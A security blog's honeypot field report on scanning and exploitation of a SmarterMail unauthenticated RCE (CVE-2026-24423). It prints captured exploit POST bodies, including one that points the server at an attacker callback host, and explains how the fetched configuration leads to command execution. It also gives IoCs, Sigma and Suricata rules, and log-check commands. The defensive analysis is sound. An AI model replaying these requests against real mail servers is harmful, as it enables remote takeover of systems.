Watching CVE-2026-24423 Hit the Wire: A SmarterMail Honeypot Field Report

TL;DR

• We deployed a Beelzebub honeypot emulating SmarterMail Enterprise Build 8950 on port 9998, targeting CVE-2026-24423
• Over a 3-day window, the sensor captured the full lifecycle of CVE exploitation: background scanning, targeted reconnaissance, automated vulnerability validation, and weaponized exploit delivery
• The same IP (144.31.0.125) performed Nuclei-based validation and then returned 63 minutes later with a dedicated PoC script to attempt the actual exploit
• The attacker probed both known API endpoint variants (/api/v1/settings/sysadmin/connect-to-hub and /api/v1/settings/system-admin/hub/connect) simultaneously, indicating awareness of version-specific routing differences in SmarterMail
• The weaponized payload attempted an outbound callback to http://144.31.0.125:8888, which on a real SmarterMail instance would have fetched a malicious mount configuration containing arbitrary commands

---

Background

CVE-2026-24423 is an unauthenticated remote code execution vulnerability in SmarterTools SmarterMail prior to Build 9511. The vulnerable endpoint, /api/v1/settings/sysadmin/connect-to-hub, requires no authentication and allows an attacker to instruct the mail server to connect to a remote “Hub” address.

When a SmarterMail instance processes this request, it reaches out to the attacker-controlled hubAddress, downloads a JSON configuration that includes a CommandMount parameter, and passes that value directly to a system-level command execution function. On Linux, this hits /bin/bash -c; on Windows, cmd.exe /c. The result is full RCE with the privileges of the SmarterMail process.

The vulnerability was independently discovered by at least four researchers (Sina Kheirkhah and Piotr Bazydlo of watchTowr, Markus Wulftange of CODE WHITE GmbH, and Cale Black of VulnCheck) and was patched in a January 15, 2026 release. CISA added it to the Known Exploited Vulnerabilities catalog on February 6, 2026. By mid-February, mass exploitation was well documented, with watchTowr reporting over 1,000 exploitation attempts from approximately 60 unique attacker IPs.

For a full root cause analysis and decompiled code walkthrough, see VulnCheck’s writeup by Cale Black.

We wanted to see what this exploitation looked like from the receiving end.

---

The Honeypot Setup

We configured a Beelzebub instance to listen on port 9998 (the default SmarterMail web interface port) and emulate a vulnerable SmarterMail Enterprise deployment. The goal was to capture inbound exploit attempts without making any outbound connections.

Design decisions:

Decision	Rationale
Port 9998	Default SmarterMail web UI port. Matches what scanners look for.
Response headers: Server: Microsoft-IIS/10.0, X-Powered-By: ASP.NET	SmarterMail runs on IIS/.NET. These headers pass basic fingerprinting checks.
X-SmarterMail-Version: 100.0.8950	Build 8950 is below the patched Build 9511, signaling vulnerability to version-aware tooling.
Version endpoint at /api/v1/licensing/about	Attackers and scanners check this endpoint to confirm the build number before committing to exploitation. We return a full JSON object mimicking real SmarterMail output.
ConnectToHub endpoint returns {"success": true}	We accept the POST, log the full payload (including the callback hubAddress), but never make the outbound connection. The attacker sees a “success” response and believes the server is processing.
HTML login page at /	Screenshot bots, crawlers, and manual operators see a realistic SmarterMail login form. Increases dwell time for manual attackers.

Configuration snippet:

apiVersion: "v1"
protocol: "http"
address: ":9998"
description: "SmarterMail Enterprise Build 8950 (Vulnerable emulation)"

headers:
  - "Server: Microsoft-IIS/10.0"
  - "X-Powered-By: ASP.NET"
  - "X-AspNet-Version: 4.0.30319"

commands:
  - regex: "^/api/v1/settings/sysadmin/connect-to-hub.*$"
    headers:
      - "Content-Type: application/json; charset=utf-8"
      - "X-SmarterMail-Version: 100.0.8950"
    statusCode: 200
    handler: |
      {
        "success": true,
        "message": "Hub connection handshake initiated.",
        "data": {
           "status": "negotiating",
           "transactionId": "550e8400-e29b-41d4-a716-446655440000"
        }
      }

  - regex: "^/api/v1/licensing/about.*$"
    headers:
      - "Content-Type: application/json"
    statusCode: 200
    handler: |
      {
        "product": "SmarterMail Enterprise",
        "version": "100.0.8950",
        "buildDate": "2025-11-20T14:00:00Z",
        "isLicensed": true,
        "licenseType": "Enterprise"
      }

---

Timeline of Events

Phase 1: Background Radiation (Feb 8-10)

Within hours of deployment, the honeypot began receiving traffic. The majority of this early activity consisted of automated scanners and asset discovery platforms probing the service.

Timestamp (UTC)	Source IP	User-Agent	URI	Method
2026-02-08 06:48:48	147.185.133.233	Palo Alto Networks Cortex Xpanse	/	GET
2026-02-08 10:32:14	72.14.178.148	Mozilla/5.0 zgrab/0.x	/	GET
2026-02-08 10:35:06	65.49.1.172	Chrome/119.0 (Windows 10)	/	GET
2026-02-08 10:35:42	65.49.1.181	Firefox/56.0 (Linux)	/favicon.ico	GET
2026-02-08 10:36:47	172.236.228.229	Chrome/108.0 (macOS 13)	/	GET
2026-02-08 11:15:33	172.236.228.38	Chrome/108.0 (macOS 13)	/	GET
2026-02-09 02:25:15	91.196.152.217	Firefox/134.0 (Ubuntu Linux)	/	GET
2026-02-09 02:27:34	91.231.89.29	Firefox/134.0 (Ubuntu Linux)	/favicon.ico	GET
2026-02-09 03:30:07	162.216.149.200	Palo Alto Networks Cortex Xpanse	/	GET
2026-02-09 08:31:22	64.62.197.2	Chrome/116.0 (Windows 10)	/	GET
2026-02-09 08:31:48	64.62.197.11	Firefox/141.0 (macOS 10.15)	/favicon.ico	GET
2026-02-09 17:58:19	35.203.211.172	Palo Alto Networks Cortex Xpanse	/	GET

Observations:

• All traffic was GET requests to / or /favicon.ico
• No interaction with any SmarterMail-specific endpoints
• Multiple Palo Alto Cortex Xpanse scans (self-identifying User-Agent)
• zgrab scanner from 72.14.178.148 (a common research/recon tool)
• Several IPs from adjacent subnets hitting within seconds of each other (65.49.1.x, 64.62.197.x), suggesting coordinated scanning infrastructure

---

Phase 2: Methodical Reconnaissance (Feb 10)

On February 10, a single IP performed something more structured than the background scans. 154.197.56.163 executed a sequential crawl of standard web application discovery endpoints.

Timestamp (UTC)	URI	Purpose
06:02:39	/	Landing page
06:02:39	/favicon.ico	Favicon check
06:02:39	/robots.txt	Crawl directives
06:02:40	/.well-known/security.txt	Security contact / disclosure info
06:02:40	/sitemap.xml	Site structure
06:02:40	/llms.txt	LLM-related content check

Notable detail: The request for /llms.txt is interesting. This is a relatively new convention (similar to robots.txt) used to indicate content policies for large language models. Its presence in a crawl pattern suggests tooling that is actively being updated to account for emerging web standards.

The initial request to / arrived with no User-Agent header and a stripped-down Accept: text/html,application/xhtml+xml,application/xml header. The subsequent requests used Chrome/86.0.4240.111 on Linux. The first request appears to be a lightweight probe, with the full browser UA applied to follow-up requests once the host was confirmed alive.

All of this happened within a 2-second window (06:02:39 to 06:02:40), confirming this was automated.

---

Phase 3: Nuclei Validation (Feb 11, 06:55 UTC)

On February 11, the honeypot logged its first CVE-specific traffic. Two POST requests arrived from 144.31.0.125 at the same timestamp, targeting both known variants of the vulnerable endpoint.

Request 1: Legacy endpoint

{
  "DateTime": "2026-02-11T06:55:01Z",
  "SourceIp": "144.31.0.125",
  "HTTPMethod": "POST",
  "RequestURI": "/api/v1/settings/sysadmin/connect-to-hub",
  "Body": "{\"hubAddress\":\"http://127.0.0.1:99999\",\"oneTimePassword\":\"nuclei-check\",\"nodeName\":\"nuclei\"}",
  "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
}

Request 2: Newer endpoint variant

{
  "DateTime": "2026-02-11T06:55:01Z",
  "SourceIp": "144.31.0.125",
  "HTTPMethod": "POST",
  "RequestURI": "/api/v1/settings/system-admin/hub/connect",
  "Body": "{\"hubUrl\":\"http://127.0.0.1:99999\"}",
  "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Safari/537.36"
}

Analysis:

• nodeName: "nuclei" and oneTimePassword: "nuclei-check" are strong indicators of Nuclei template usage
• hubAddress points to 127.0.0.1:99999, a non-routable address on an unlikely port. This is a validation check, not an exploitation attempt. The operator is confirming that the endpoint exists and accepts the JSON structure.
• The two requests use different User-Agent strings but arrive at the same second. This is a single scanning run checking both endpoint paths.
• The second request targets /api/v1/settings/system-admin/hub/connect with a different JSON structure (hubUrl instead of hubAddress). This maps to a different SmarterMail version’s routing. The attacker’s tooling is version-aware.

---

Phase 4: Weaponized Exploit Delivery (Feb 11, 07:58 UTC)

Exactly 63 minutes after the Nuclei validation, the same IP returned. This time, everything changed.

{
  "DateTime": "2026-02-11T07:58:46Z",
  "SourceIp": "144.31.0.125",
  "HTTPMethod": "POST",
  "RequestURI": "/api/v1/settings/sysadmin/connect-to-hub",
  "Body": "{\"hubAddress\": \"http://144.31.0.125:8888\", \"oneTimePassword\": \"test\", \"nodeName\": \"poc-node\"}",
  "UserAgent": "CVE-2026-24423-PoC"
}

What changed:

Field	Nuclei Probe (06:55)	Weaponized Attempt (07:58)
User-Agent	Generic Chrome UA	CVE-2026-24423-PoC
hubAddress	http://127.0.0.1:99999 (safe/local)	http://144.31.0.125:8888 (attacker-controlled callback)
oneTimePassword	nuclei-check	test
nodeName	nuclei	poc-node

The User-Agent CVE-2026-24423-PoC indicates the use of a public proof-of-concept script. The hubAddress now points back to the attacker’s own infrastructure on port 8888. On a real SmarterMail instance, the server would:

1. Connect to http://144.31.0.125:8888/web/api/node-management/setup-initial-connection
2. Download a JSON response containing a SystemMount object with a CommandMount field
3. Pass the CommandMount value to /bin/bash -c (Linux) or cmd.exe /c (Windows)
4. Execute whatever command the attacker specified

Because this is a honeypot, we logged the inbound payload and returned a success response. No outbound connection was made.

---

Payload Analysis

The critical comparison between the two phases from 144.31.0.125:

Attribute	Phase 3: Validation	Phase 4: Exploitation
Time	06:55:01 UTC	07:58:46 UTC
Delta	—	+63 minutes
Tool	Nuclei scanner	Public PoC script
User-Agent	Spoofed Chrome	CVE-2026-24423-PoC
hubAddress	127.0.0.1:99999 (localhost)	144.31.0.125:8888 (callback)
Intent	”Does this endpoint exist?"	"Connect back to me for RCE”
Endpoints Hit	2 (both variants)	1 (legacy variant only)

The 63-minute gap is telling. This is not a single automated script doing scan-and-exploit in one pass. There is a human in the loop, or at minimum, a pipeline with a staging step: scan results get triaged, then a separate exploitation tool is pointed at confirmed targets.

The fact that the weaponized attempt only hit the legacy endpoint (/api/v1/settings/sysadmin/connect-to-hub) while the Nuclei scan checked both variants suggests the operator reviewed the scan results and determined which endpoint to target based on what responded.

---

The Scanning Ecosystem

One of the values of running a honeypot is seeing the full spectrum of traffic a vulnerable service attracts. Not every connection is an attacker. Understanding the categories helps defenders triage their own logs.

Over the 3-day observation window, we categorized the traffic into four tiers:

Tier	Description	Unique IPs	Behavior
1. Attack Surface Management	Self-identifying commercial scanners (Palo Alto Cortex Xpanse)	4	GET / only. Clear User-Agent identification. Periodic rescans from different IPs in the same range.
2. Research Scanners	zgrab and similar tools	1	GET / with zgrab/0.x User-Agent. Single pass.
3. General Crawlers	Various browser UAs, sequential port/service enumeration	~10	GET /, /favicon.ico. Some sequential from adjacent IPs. One methodical crawl of discovery endpoints.
4. CVE-Targeted	Nuclei validation followed by exploit delivery	1	POST to CVE-specific API endpoints with exploit payloads.

The ratio is roughly what we expected: a lot of noise, a few researchers, and a small number of operators with specific intent. The important thing for defenders is that only Tier 4 touched any SmarterMail-specific endpoint. Everything else was generic web probing.

---

Indicators of Compromise (IoCs)

Network Indicators

# IPs observed targeting CVE-2026-24423 endpoints
144.31.0.125

# Callback address (attacker-controlled)
http://144.31.0.125:8888

# Targeted endpoints
/api/v1/settings/sysadmin/connect-to-hub
/api/v1/settings/system-admin/hub/connect

Request Signatures

# User-Agent strings
CVE-2026-24423-PoC

# JSON body patterns (POST requests)
"nodeName": "nuclei"
"nodeName": "poc-node"
"oneTimePassword": "nuclei-check"
"hubAddress": "http://144.31.0.125:8888"
"hubUrl": "http://127.0.0.1:99999"

Non-Malicious Scanner Signatures (for log triage)

# Palo Alto Cortex Xpanse (legitimate ASM)
User-Agent: Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity

# zgrab research scanner
User-Agent: Mozilla/5.0 zgrab/0.x

---

Detection Rules

Sigma Rule

title: SmarterMail CVE-2026-24423 ConnectToHub Exploitation Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects POST requests targeting the SmarterMail ConnectToHub API endpoints used in CVE-2026-24423 exploitation
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-24423
  - https://vulncheck.com/blog/smartermail-rce
logsource:
  category: webserver
  product: iis
detection:
  selection_method:
    cs-method: 'POST'
  selection_uri:
    cs-uri-stem|contains:
      - '/api/v1/settings/sysadmin/connect-to-hub'
      - '/api/v1/settings/system-admin/hub/connect'
  condition: selection_method and selection_uri
falsepositives:
  - Legitimate SmarterMail Hub configuration (should be extremely rare and only from known admin IPs)
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution
  - attack.t1059
  - cve.2026.24423

Suricata Rule

alert http any any -> $HOME_NET 9998 (msg:"CVE-2026-24423 SmarterMail ConnectToHub exploit attempt";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/connect-to-hub";
  http.request_body; content:"hubAddress";
  classtype:attempted-admin; sid:2026024423; rev:1;)

alert http any any -> $HOME_NET 9998 (msg:"CVE-2026-24423 SmarterMail Nuclei validation scan";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/connect-to-hub";
  http.request_body; content:"nuclei";
  classtype:attempted-recon; sid:2026024424; rev:1;)

Quick Log Check (IIS Logs)

For defenders who want to check their SmarterMail IIS logs right now:

# Check for any POST to connect-to-hub endpoints
grep -i "connect-to-hub\|hub/connect" /path/to/iis/logs/u_ex*.log | grep "POST"

# Check for known PoC User-Agent
grep -i "CVE-2026-24423" /path/to/iis/logs/u_ex*.log

---

Key Findings

1. The 63-Minute Pipeline

The gap between Nuclei validation and weaponized exploit delivery was 63 minutes from the same source IP. This suggests a pipeline where scan results are collected, triaged (possibly manually), and then fed into a separate exploitation tool. This is not fire-and-forget; there is a workflow.

2. Version-Aware Tooling

The Nuclei scan probed both the legacy endpoint (/api/v1/settings/sysadmin/connect-to-hub) and the newer variant (/api/v1/settings/system-admin/hub/connect) with version-appropriate JSON structures. The weaponized follow-up targeted only the legacy endpoint. This implies the attacker (or their tooling) is accounting for differences across SmarterMail versions.

3. The Noise is Loud

Of all the connections logged over 3 days, only 3 requests (from a single IP) were CVE-specific. Everything else was background scanning. For defenders reviewing their own logs, filtering out known scanner User-Agents (Cortex Xpanse, zgrab) and focusing on POST requests to the specific API endpoints will dramatically reduce the haystack.

4. The PoC is Public and In Use

The User-Agent: CVE-2026-24423-PoC string confirms the use of publicly available exploit code. There is no attempt to hide the tooling. This matches the broader pattern watchTowr reported: operators are running commodity exploit scripts at scale with minimal OPSEC.

---

Recommendations

If you run SmarterMail:

1. Patch immediately. Update to Build 9511 or later. The patched version returns HTTP 400 on the connect-to-hub endpoint for unauthenticated requests.
2. Check your logs now. Use the grep commands above. Any POST to connect-to-hub from an external IP is suspicious.
3. Check /api/v1/licensing/about access. Attackers probe this endpoint to confirm your build version before exploitation. High-volume access from unknown IPs is a pre-attack indicator.
4. Assume compromise if unpatched. CISA added this to the KEV catalog on February 6. If your instance was internet-facing and unpatched after that date, conduct a thorough investigation.

If you are a defender (general):

1. Deploy the Sigma and Suricata rules from this report into your detection pipeline.
2. Monitor for the callback pattern. The exploit requires the victim server to make an outbound HTTP connection to the attacker. Outbound connections from your mail server to unknown IPs on unusual ports (8888, 8082, etc.) are a strong signal.
3. Consider deploying your own honeypot. A Beelzebub instance running this configuration took minutes to set up and captured actionable intelligence within 3 days.

---

References

• VulnCheck Advisory: CVE-2026-24423 - SmarterMail ConnectToHub Unauthenticated RCE (Cale Black)
• CISA KEV Catalog Entry for CVE-2026-24423
• watchTowr exploitation telemetry (via Cyber Daily)
• SmarterMail Build 9511 Release Notes
• Beelzebub Honeypot Framework